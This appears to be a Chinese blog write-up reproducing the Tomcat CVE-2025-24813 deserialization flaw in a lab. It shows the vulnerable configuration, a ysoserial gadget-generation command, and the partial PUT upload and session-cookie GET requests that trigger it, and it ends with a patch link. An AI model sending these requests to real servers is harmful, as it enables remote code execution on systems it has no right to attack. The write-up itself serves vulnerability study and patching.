跟着大佬复现了一下,这个洞看着跟CVE-2020-9484很像,但是CVE-2020-9484必须在靶机中把反序列化文件放到/tmp/test.session,命令如下java -jar ysoserial-all.jar Groovy1 "touch/tmp/test">/tmp/test.session.但CVE-2025-24813可以通过put请求上传反序列化文件,利用起来更方便
漏洞概况
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂,需同时满足以下四个条件:
漏洞影响范围
漏洞原理分析
Content-Range
在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT
。
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制:文件路径中的分隔符/
会被转换为.
。例如:访问/xxxxx/session
会被解析为.xxxxx.session
因此整个漏洞的利用过程为:
CATALINA_BASE/work/Catalina/localhost/ROOT
JSESSIONID=.xxxxx
来触发漏洞环境配置
在conf/context.xml中,添加如下配置,开启File文件会话存储
<Context\>
<Manager className\="org.apache.catalina.session.PersistentManager"\>
<Store className\="org.apache.catalina.session.FileStore"/>
</Manager\>
</Context\>
在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能
<servlet\>
<servlet-name\>default</servlet-name\>
<servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\>
<init-param\>
<param-name\>debug</param-name\>
<param-value\>0</param-value\>
</init-param\>
<init-param\>
<param-name\>readonly</param-name\>
<param-value\>false</param-value\>
</init-param\>
<load-on-startup\>1</load-on-startup\>
</servlet\>
将Commons Collections 3.2.1.jar放入lib文件夹
漏洞复现
生成一个恶意的序列化文件,使用以下数据包上传,需要注意Range的分块值需要与Length保持一致,且大于当前文件的长度。
PUT /xxxxx/session HTTP/1.1
Host: 192.168.131.32:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{反序列化文件内容)}}
使用以下PoC触发
GET / HTTP/1.1
Host: 192.168.131.32:8080
Cookie: JSESSIONID=.xxxxx
修复方案
Apache基金会官方已发布漏洞公告,可下载补丁更新:https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!